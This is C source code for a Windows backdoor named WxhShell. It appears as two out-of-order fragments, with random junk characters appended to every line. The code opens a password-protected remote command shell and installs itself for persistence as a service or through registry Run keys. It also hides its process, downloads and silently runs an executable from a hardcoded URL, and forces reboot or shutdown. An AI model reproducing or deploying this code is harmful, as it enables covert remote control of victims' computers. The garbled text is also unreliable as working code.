    if(Boot(SHUTDOWN)) KRe=n3 1  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); }D O#{@af  
    else { 0iHI "9z  
    closesocket(wsh); 5ntP{p%>  
    ExitThread(0); ja2]VbB  
    } dr o42#$Mo  
    break; opC11c/  
    } |M_Bbo@ud  
  // 获取shell 48`<{|r{  
  case 's': { '3VrHL@@g  
    CmdShell(wsh); 9E+lriyY  
    closesocket(wsh); uzsN#'7=  
    ExitThread(0); ;4IP7$3G  
    break; c[$oR,2b13  
  } L)5nb-qp  
  // 退出 6dUP's_  
  case 'x': { H <yec"  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); JGe;$5|q8  
    CloseIt(wsh); j@2 hI,+  
    break; FzIA>njt  
    } &Te:l-x  
  // 离开 Y# #J  
  case 'q': { OUPpz_y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?6bE!36  
    closesocket(wsh); <k!G%R<9  
    WSACleanup(); _p.{|7  
    exit(1); 4E)[<%  
    break; $;1~JOZh  
        } e1-=|!U7#  
  } y=Hl~ev`9  
  } ($TxVFNT  
z6qC6Ck|  
  // 提示信息 2H#vA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /MC\ !,K  
} tWFJx}H  
  } "$&F]0  
8] *{ i  
  return; ? 6l::M  
} :jPAA`,  
T9^i#8-^  
// shell模块句柄 r.GjM#X  
int CmdShell(SOCKET sock) wF(FV4#gs  
{ BR=Yte /  
STARTUPINFO si; )".gjW8{#L  
ZeroMemory(&si,sizeof(si)); /Kvb$]F+!  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Fk4 3sqU6~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; a lR}|ez  
PROCESS_INFORMATION ProcessInfo; U#}.r<  
char cmdline[]="cmd"; e_TM#J(3  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ".u?-xcbJ  
  return 0; 9maw+c!~  
} gyK"#-/_d  
K*<n<;W  
// 自身启动模式 9=SZL~#CE  
int StartFromService(void) [xC (t]S-  
{ L{ -w9(S`i  
typedef struct <5q}j-Q  
{ (LjY<dQO  
  DWORD ExitStatus; u+'=EGl  
  DWORD PebBaseAddress; [F%\1xh  
  DWORD AffinityMask; %YXC-E3@O  
  DWORD BasePriority; -~q]0>  
  ULONG UniqueProcessId; o\#C] pp  
  ULONG InheritedFromUniqueProcessId; R&QT  'i  
}   PROCESS_BASIC_INFORMATION; 8/CGg_C1  
9(_/jU4mc  
PROCNTQSIP NtQueryInformationProcess; 0)B+ :  
MouYZI)  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; zM!*r~*k$  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; $ ]HIYYs  
|z~?"F6 Y<  
  HANDLE             hProcess; p,+~dn;=  
  PROCESS_BASIC_INFORMATION pbi; T2d pn%I  
O6pjuhMx  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H{BjxZ~)  
  if(NULL == hInst ) return 0; %lPP1 R  
DM&"oa50  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ZBGI_9wZ  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); oAL-v428  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); X DX_c@U  
,'j5tU?c  
  if (!NtQueryInformationProcess) return 0; it,%T)2H  
wKYfqNCH  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 38#(ruv  
  if(!hProcess) return 0; mf3G$=[  
LP~$7a  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Rq 7ksTo  
"hvw2lyp3  
  CloseHandle(hProcess); C{) )T5G  
=mZw71,  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); /vMpSN|3  
if(hProcess==NULL) return 0; =[WccF  
gUMUh] j  
HMODULE hMod; 25(\'484>  
char procName[255]; m0P5a%D  
unsigned long cbNeeded; \rJk[Kec  
ZjcJYtD  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); S("bN{7nE  
& mWq'h  
  CloseHandle(hProcess); R[V%59#{Z  
W% P&o}'  
if(strstr(procName,"services")) return 1; // 以服务启动 ZG>OT@ GA  
0,c z&8  
  return 0; // 注册表启动 ji2#O.  
} oGM.{\i  
#GF1MFkoS  
// 主模块 u4 "+u"{d  
int StartWxhshell(LPSTR lpCmdLine) W+#?3s[FV  
{ @MM|.# ~T  
  SOCKET wsl; +]6 EkZO  
BOOL val=TRUE; %%_90t  
  int port=0; [bp"U*!9P  
  struct sockaddr_in door; ,QQ:o'I!  
*<hpq)  
  if(wscfg.ws_autoins) Install(); 2Zm*f2$xM  
JB-j@  
port=atoi(lpCmdLine); :$WRV-  
bHP-Z9riv  
if(port<=0) port=wscfg.ws_port; #0R;^#F/  
xv2;h4{<  
  WSADATA data; ;V;4#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; |Mh;k 6  
]X5*e'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   3EFk] X  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); (3-G<E  
  door.sin_family = AF_INET; y`BLIEI  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); "7 l}X{b  
  door.sin_port = htons(port); \yxr@z1_b  
E,rPM  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { )#Id 2b~  
closesocket(wsl); UJZa1p@L  
return 1; h{m]n!  
} pM=vW{"I/  
;?&;I!  
  if(listen(wsl,2) == INVALID_SOCKET) { ]oY~8HW  
closesocket(wsl); l]ZUKy  
return 1; }Yj S v^  
} 0L6L_;o  
  Wxhshell(wsl); VTHDGBU  
  WSACleanup(); j7W_%Yk|E  
l>G#+#{  
return 0; t.w?OyO  
kA3kh`l  
} O$$N{  
'!0CwZ 7  
// 以NT服务方式启动 jIl-}/2  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) x:2_FoQ  
{ -P?} qy^j(  
DWORD   status = 0; Z+}SM]m  
  DWORD   specificError = 0xfffffff; +vuW 9  
yT>T Vq/e  
  serviceStatus.dwServiceType     = SERVICE_WIN32; wEp/bR1=  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Txxc-$z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; :G-1VtE n  
  serviceStatus.dwWin32ExitCode     = 0; & dS+!<3  
  serviceStatus.dwServiceSpecificExitCode = 0; )SQ g  
  serviceStatus.dwCheckPoint       = 0; -LY_7Kg  
  serviceStatus.dwWaitHint       = 0; pQ>V]M  
m/ukH{H1%  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); c{ <3\  
  if (hServiceStatusHandle==0) return; "~;jFB8  
r[lHYO  
status = GetLastError(); GwvxX&P  
  if (status!=NO_ERROR) J h"]iN  
{ 4$J/e?i  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QSLDA`  
    serviceStatus.dwCheckPoint       = 0; w\M_3}  
    serviceStatus.dwWaitHint       = 0; q&M;rIo?  
    serviceStatus.dwWin32ExitCode     = status; Vg3&:g5 /  
    serviceStatus.dwServiceSpecificExitCode = specificError; Nr)(&c8  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); {tMD*?C[6  
    return; OY)x Kca  
  } CV6H~t'1  
6nwO:?1o9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 5x: XXj"  
  serviceStatus.dwCheckPoint       = 0; lC2xl(#!  
  serviceStatus.dwWaitHint       = 0; OU##A:gI  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); nYe}d!  
} "6}+|!"$  
>5j/4Ly  
// 处理NT服务事件,比如:启动、停止 (-#{qkA  
VOID WINAPI NTServiceHandler(DWORD fdwControl) +`+a9+=  
{ D3Mce|t^  
switch(fdwControl) aT0 y  
{ cnj_tC=zt  
case SERVICE_CONTROL_STOP: Gnw>%f1@u  
  serviceStatus.dwWin32ExitCode = 0; {/Cd^CK  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~)Z`Q  
  serviceStatus.dwCheckPoint   = 0; g %Am[fb  
  serviceStatus.dwWaitHint     = 0; M}vPWWcl  
  { `+6HHtF  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); A gPg0(G  
  } V+8+ 17^  
  return; w;_Ds  
case SERVICE_CONTROL_PAUSE: NanU%# &  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W6PGv1iaW>  
  break; hi=U  
case SERVICE_CONTROL_CONTINUE: ZQ:Y5 ph  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 7-LeJRB  
  break; Ac54 VN  
case SERVICE_CONTROL_INTERROGATE: Pv'x|p*  
  break; 3l^pY18H'  
}; V]AL'}( 0  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '*k\IM{h  
} `MD/C Fl4  
Fzu{,b  
// 标准应用程序主函数 ,&9|Ac?$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \Q$);:=q Q  
{ gXQ)\MY  
. FruI#99  
// 获取操作系统版本 Q4x71*vy  
OsIsNt=GetOsVer(); ovohl<o\  
GetModuleFileName(NULL,ExeFile,MAX_PATH); zM'-2,  
Nh))U  
  // 从命令行安装 BO_^3Me*  
  if(strpbrk(lpCmdLine,"iI")) Install(); rQqtejcfx  
7[)(;-  
  // 下载执行文件 ?/wloLS47  
if(wscfg.ws_downexe) { 9p.>L8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f[RnL#*xJU  
  WinExec(wscfg.ws_filenam,SW_HIDE); <ZiO[dEV  
} 7^L&YV W  
S]N4o'K}q  
if(!OsIsNt) { "f3>20}  
// 如果时win9x,隐藏进程并且设置为注册表启动 PEWzqZ|!;  
HideProc(); $Yka\tS'  
StartWxhshell(lpCmdLine); +D@R'$N  
} #&Ee5xM=  
else {x: IsQZ  
  if(StartFromService()) x#^kv)  
  // 以服务方式启动 OrBFe *2y  
  StartServiceCtrlDispatcher(DispatchTable); P#xn!fMi  
else B]vj1m`9  
  // 普通方式启动 6PH*]#PfoD  
  StartWxhshell(lpCmdLine); j;3o9!.s:  
j7d;1 zB+G  
return 0; cG?266{g  
} B_S3}g<~  
V*aTDU%-.  
!8g y)2  
NO$Nl/XM  
=========================================== #q- _  
UXP;'  
2KEww3.{  
- \QtE}|4  
J 0 P  
*l//r V?l  
" zN1;v6;  
DkIF vsLK  
#include <stdio.h> xpM~* Gpm  
#include <string.h> UU/|s>F  
#include <windows.h> if'4MDl  
#include <winsock2.h> BP6Shc|C  
#include <winsvc.h> zYL^e @  
#include <urlmon.h> )sHPIxHI  
S\A[Z&k 0  
#pragma comment (lib, "Ws2_32.lib") DFonK{  
#pragma comment (lib, "urlmon.lib") ;qMlGXW*q  
[7V]=] p  
#define MAX_USER   100 // 最大客户端连接数 i`qh|w/b_  
#define BUF_SOCK   200 // sock buffer 0=B5 =qyw  
#define KEY_BUFF   255 // 输入 buffer X\%3uPQ  
;j=1 oW  
#define REBOOT     0   // 重启 -+> am?  
#define SHUTDOWN   1   // 关机 u i1m+  
RHbwq]  
#define DEF_PORT   5000 // 监听端口 bed+Ur&  
t3G'x1  
#define REG_LEN     16   // 注册表键长度 \4k*Zk  
#define SVC_LEN     80   // NT服务名长度 wNZ7(W.U  
In&vh9Lw  
// 从dll定义API fsd>4t:" \  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); .Q@"];wH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %Qq)=J<H ;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 6K}=K?3Z  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); iE(grI3  
j`B{w   
// wxhshell配置信息 PvwIO_W  
struct WSCFG { K dm5O@tq  
  int ws_port;         // 监听端口 &u-Bu;G.e  
  char ws_passstr[REG_LEN]; // 口令 k 9rnT)YU  
  int ws_autoins;       // 安装标记, 1=yes 0=no $nn5;11@gY  
  char ws_regname[REG_LEN]; // 注册表键名 {9 O`/|  
  char ws_svcname[REG_LEN]; // 服务名 +bW|Q>u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @_3$(*n$~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )v~]lk,o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 -e>)yM `i  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Z"Oa5V6[A  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ?W_U{=anl  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 @g~sgE}#  
aehMLl9cl  
}; `'WLGQG  
#9OP.4  
// default Wxhshell configuration sjm79/  
struct WSCFG wscfg={DEF_PORT, W+?[SnHL/  
    "xuhuanlingzhe", 9DX3]Z\7X  
    1, G,*s9P]1  
    "Wxhshell", 98^6{p  
    "Wxhshell", "'Uk0>d=_I  
            "WxhShell Service", B:cOcd?p  
    "Wrsky Windows CmdShell Service", Q%^bA,$&D  
    "Please Input Your Password: ", 6l'y  
  1, h>0<@UP  
  "http://www.wrsky.com/wxhshell.exe", %<yM=1~>  
  "Wxhshell.exe" 3:1 c_   
    }; u7WM6X  
4sjr\9IDC  
// 消息定义模块 Bq_P?Q+\  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 1o>R\g3  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 8[;oUVb5  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (B<AK4G  
char *msg_ws_ext="\n\rExit."; KTt$Pt/.  
char *msg_ws_end="\n\rQuit."; Xkom@F~]  
char *msg_ws_boot="\n\rReboot..."; ton`ji\^  
char *msg_ws_poff="\n\rShutdown..."; B}+9U  
char *msg_ws_down="\n\rSave to "; uFZB8+  
x35s6  
char *msg_ws_err="\n\rErr!"; [dlH t;S  
char *msg_ws_ok="\n\rOK!"; .N&}<T[  
_9|@nUD  
char ExeFile[MAX_PATH]; G6{A[O[  
int nUser = 0; *J5RueUG  
HANDLE handles[MAX_USER]; |wQZ~Ux:  
int OsIsNt; ue<<Y"NR  
P1stL,  
SERVICE_STATUS       serviceStatus; F  t/ x 5  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; a <TL&  
)Cvzj<Q0  
// 函数声明 u 7Y< ~  
int Install(void); 9dtGqXX  
int Uninstall(void); :iB%JY Ad  
int DownloadFile(char *sURL, SOCKET wsh); MmH_gR  
int Boot(int flag); KxmPL  
void HideProc(void); fMPq  
int GetOsVer(void); &xroms"S=  
int Wxhshell(SOCKET wsl); j%jd@z ]@  
void TalkWithClient(void *cs); myOX:K*  
int CmdShell(SOCKET sock); GD{fXhgk  
int StartFromService(void); kDY]>v  
int StartWxhshell(LPSTR lpCmdLine); `yX+NRi(s  
x9A ZS#e)[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); zN/~a)  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); (!5}" fj  
DN':-PK  
// 数据结构和表定义 OKP_3Ns  
SERVICE_TABLE_ENTRY DispatchTable[] = &iy(oM  
{ g{)H" 8L  
{wscfg.ws_svcname, NTServiceMain}, nvo1+W(%  
{NULL, NULL} Ja=70ZI^ 6  
}; umZ g}|C_  
_ZM9 "<M-X  
// 自我安装 "4uUI_E9F;  
int Install(void) kjC{Zr  
{ XW_xNkpL5c  
  char svExeFile[MAX_PATH]; Tv,.  
  HKEY key; 9$V_=Bo  
  strcpy(svExeFile,ExeFile); 9^#gVTGXv  
a {$k<@Ww  
// 如果是win9x系统,修改注册表设为自启动 0k 0c   
if(!OsIsNt) { " IkF/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 76Vyhf&7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); J&ECm+2  
  RegCloseKey(key); m4SXH> o  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { :#:O(K1PW  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); pUMB)(<k  
  RegCloseKey(key); w+q;dc8  
  return 0; agm5D/H]:  
    } 0!,gT H>  
  } a05:iFoJ  
} *R\/#Y|  
else { -b\ V(@5  
_q$LrAT  
// 如果是NT以上系统,安装为系统服务 6+nMH +[  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 8<wuH#2<y  
if (schSCManager!=0) dF11Rj,~ 8  
{ ^x"c0R^  
  SC_HANDLE schService = CreateService Rk jKIa  
  ( :Mu8W_  
  schSCManager, &Dg)"Xji  
  wscfg.ws_svcname, u4,X.3V]A  
  wscfg.ws_svcdisp, !QR?\9`  
  SERVICE_ALL_ACCESS, a$zm/  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 3^R][;  
  SERVICE_AUTO_START, tZu*Asx7  
  SERVICE_ERROR_NORMAL, +>:_kE]?nX  
  svExeFile, $K.%un Gm  
  NULL, m7wc)"`t  
  NULL, ?WQd  
  NULL, Fr3d#kVR  
  NULL, %f_OP$;fc  
  NULL UG"6RW @  
  ); "ex~ LB  
  if (schService!=0) )Z8"uRTb0  
  { R(? <97  
  CloseServiceHandle(schService); gUH'DS]{  
  CloseServiceHandle(schSCManager); :O'C:n<g  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Uq]EJu  
  strcat(svExeFile,wscfg.ws_svcname); Fwx~ ~"I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ZCE%38E N  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 5 2@udp  
  RegCloseKey(key); nl-t<#z[  
  return 0; Q_]!an(  
    } $dZ>bXUw:  
  } xngeV_xc2  
  CloseServiceHandle(schSCManager); N{ V5 D  
} &!DZW 5  
} ,hTwNVWI9  
'6.>Wdd  
return 1; VU`z|nBW@  
} mzV"G>,o  
/,Dwu?Lcqp  
// 自我卸载 ]o[X+;Tj|  
int Uninstall(void) 3:~l2KIP4  
{ Q3Z%a|3W  
  HKEY key; ~AC P%QM=  
#7~tL23}]  
if(!OsIsNt) { I*:qGr+ WJ  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { J|"nwY}a9  
  RegDeleteValue(key,wscfg.ws_regname); fY%M=,t3c  
  RegCloseKey(key); Z.aLk4QO@  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q k;Kn  
  RegDeleteValue(key,wscfg.ws_regname); *qO]v9 j  
  RegCloseKey(key); i{|lsd(+  
  return 0; BbXU| QtY  
  } dI_r:xN  
} yxG:\y b  
} 4C,kA+P  
else { QxL@'n#5   
J)$&z*!  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S)\JWXi~:J  
if (schSCManager!=0) + U+aWk  
{ j(Fa=pi  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); L_Y9+ e  
  if (schService!=0) )RA\kZ"  
  { 2Ft8dfdm`  
  if(DeleteService(schService)!=0) { k(-Z@   
  CloseServiceHandle(schService); A#Q0{z@H  
  CloseServiceHandle(schSCManager); Ox7uG{t$#  
  return 0; - - i&"  
  } 9ra HSzK@d  
  CloseServiceHandle(schService); ;# R3k  
  } VBbUl|X\  
  CloseServiceHandle(schSCManager); %="~\1y  
} 5Cc6 , ]  
} Dm|gSv8d,  
g{A3W) [ b  
return 1; <ELziE~>V  
} BcZEa^^~os  
42Aje  
// 从指定url下载文件 TV1e bH7q  
int DownloadFile(char *sURL, SOCKET wsh) d s|8lz,  
{ ?jNF6z*M6  
  HRESULT hr; w69>tC  
char seps[]= "/"; wGOMUWAt  
char *token; P[rAJJN/E  
char *file; -GDV[Bg  
char myURL[MAX_PATH]; pAJ=f}",]E  
char myFILE[MAX_PATH]; :u >W&D  
`d}W;&c  
strcpy(myURL,sURL); I"8d5a}  
  token=strtok(myURL,seps); 6P%<[Z  
  while(token!=NULL) ilDJwZg#  
  { < -Hs<T|tW  
    file=token; :SQDqG   
  token=strtok(NULL,seps); < 72s7*Rv  
  } Yl)eh(\&J  
ERp:EZ'  
GetCurrentDirectory(MAX_PATH,myFILE); %rM-"6Q  
strcat(myFILE, "\\"); lnC !g  
strcat(myFILE, file); )3]83:lD2  
  send(wsh,myFILE,strlen(myFILE),0); @@xO+$6  
send(wsh,"...",3,0); j}|N^A_ S  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 0M#N=%31  
  if(hr==S_OK) QO5OnYh  
return 0; 7XUhJN3n  
else VFilF<jvu  
return 1; PU^[HC*K  
W:VW_3  
} *C4~}4WT\  
q?;N7P  
// 系统电源模块 I6K7!+;2  
int Boot(int flag) ,pDp>-vI%  
{ gf:vb*#Wa  
  HANDLE hToken; ?gd'M_-J,  
  TOKEN_PRIVILEGES tkp; z6p#fsD  
-]Q3/"Q  
  if(OsIsNt) { %$/=4f.j  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); D-Bv(/Pz]$  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 51&|t#8h  
    tkp.PrivilegeCount = 1; /\TQc-k?2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; }7iUagN  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 3xBN10R#  
if(flag==REBOOT) { 5c<b|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) MS{Hz,I,  
  return 0; m3U+ du  
} ^D9 /  
else { i'M^ez)u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) !?BW_vY  
  return 0;  AGh~8[  
} 536^PcJlN  
  } S8*^ss>?^R  
  else { 5+y@ ]5&g  
if(flag==REBOOT) { *w=z~Jq^R"  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) /t$rX3A  
  return 0; 2#'rk'X,K  
} rQ=xcn[A  
else { hA@zoIoe  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ])N|[|$  
  return 0; sk#9x`Rw  
} jz %;4e~t  
} H!Wis3S3G  
nA>*IU[  
return 1; p:Iw%eZ:  
} Bp &6x;MJf  
f8^"E $"  
// win9x进程隐藏模块 (})]H:W7  
void HideProc(void) {GUb'J  
{ {VBR/M(q  
+*n] tlk  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); USE   
  if ( hKernel != NULL ) ah 4kA LO  
  { P\.WXe#j  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .H Fc9^.*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); $X`bm*  
    FreeLibrary(hKernel); Mg#`t$ u  
  } U%Dit  
%'$f ?y  
return; IZ+ *`E  
} IS-}:~Pi  
7Aqn[1{_O  
// 获取操作系统版本 ,r@xPZPz:e  
int GetOsVer(void)  NI^{$QMj  
{ b([:,T7  
  OSVERSIONINFO winfo; '-`O. 4u  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |drf"lX<{  
  GetVersionEx(&winfo); R'Sa?6xS4  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) R_maNfS]Z  
  return 1; <[bQo&B2 E  
  else JK[T]|G  
  return 0; YFG-U-t3  
} T]^?l  
N"S3N)wgd  
// 客户端句柄模块  dFzYOG1  
int Wxhshell(SOCKET wsl) T&]Na  
{ TS1pR"6l  
  SOCKET wsh; >Q&CgGpW$  
  struct sockaddr_in client; Dq|GQdZ>o  
  DWORD myID; ya#RII']  
I[@ts!YD  
  while(nUser<MAX_USER) ?vvG)nW  
{ ^Fn%K].X  
  int nSize=sizeof(client); Bu&So|@TL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 'CgV0&@  
  if(wsh==INVALID_SOCKET) return 1; >xZ5 ac I  
d60c$?"]a(  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); *E.LP1xP  
if(handles[nUser]==0) KVg[#~3  
  closesocket(wsh); su}&".e^  
else Z A[)  
  nUser++; Zgy7!AF!  
  } XJc ,uj7  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); C1 tb`  
UAdz-)$  
  return 0; |4 Qx=x>  
} p:Oz<P  
-'j7SOGk  
// 关闭 socket eap8*ONl  
void CloseIt(SOCKET wsh) N0nj`  
{ "$r 1$mBi  
closesocket(wsh); @$oZ|ZkZ  
nUser--; 0iF-}o  
ExitThread(0);  >9{zQf!  
} RB IOdz  
N\'TR6_,b  
// 客户端请求句柄 Yc|uD-y  
void TalkWithClient(void *cs) 7_KXD#  
{ *U_S1>0n  
C!5I?z&  
  SOCKET wsh=(SOCKET)cs; &~'S)Nun  
  char pwd[SVC_LEN]; i*'Z3Z)  
  char cmd[KEY_BUFF]; ;?zF6zvQ  
char chr[1]; 07FT)QTE  
int i,j; *Z; r B  
HAd%k$Xu{  
  while (nUser < MAX_USER) { `UQEXoB)  
XC2FF&B&  
if(wscfg.ws_passstr) { Jr]gEBX  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); _KN: o10U  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); (n,N8k;  
  //ZeroMemory(pwd,KEY_BUFF); @y5=J`@=  
      i=0; 0yaMe@&,  
  while(i<SVC_LEN) { 57<Di!rt  
x}|+sS,g  
  // 设置超时 I>aGp|4  
  fd_set FdRead; +j.qZ8  
  struct timeval TimeOut; Q ?^4\_  
  FD_ZERO(&FdRead); t3a#%'Dv  
  FD_SET(wsh,&FdRead); e^8BV;+c  
  TimeOut.tv_sec=8; *7Xzht&f  
  TimeOut.tv_usec=0; TM-Fu([LMV  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cJ2PI  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n[P\*S  
0<Q*7aY  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z&F5mp@  
  pwd=chr[0]; x6v,lR  
  if(chr[0]==0xd || chr[0]==0xa) { p?kvW42/  
  pwd=0; ^KbL ,T  
  break; v%nP*i9  
  } $''UlWK  
  i++; 1x{kl01m%  
    } _C$X04bU3V  
G,|KL" H6  
  // 如果是非法用户,关闭 socket CdL.?^  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ot }6D  
} #1gO?N(<=  
;{gT=,KQ`  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mf9hFy* <4  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Mg\TH./Y:  
*VDVC0R  
while(1) { iZ "y7s  
lE'wfUb  
  ZeroMemory(cmd,KEY_BUFF); )~dOmfw%|  
PS}73Y#  
      // 自动支持客户端 telnet标准   {OP~8e"  
  j=0; 'yr{^Pek  
  while(j<KEY_BUFF) { ~b6GrY"vB  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ? |VysJ  
  cmd[j]=chr[0]; TF2KZL#A|  
  if(chr[0]==0xa || chr[0]==0xd) { ve fU'  
  cmd[j]=0; n"Z |e tZ4  
  break; Y{+3}drJE  
  } 9`Vc  
  j++; jT-<IJh!o  
    } V{ |[oIp  
o(fyd)t  
  // 下载文件 fEwifSp.  
  if(strstr(cmd,"http://")) { =$&&[&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D5L{T+}Oi%  
  if(DownloadFile(cmd,wsh)) i*CnoQH  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5\'AD^{  
  else d.AC%&W  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);  :,~K]G  
  } 328L)BmW  
  else { (w$'o*z;(  
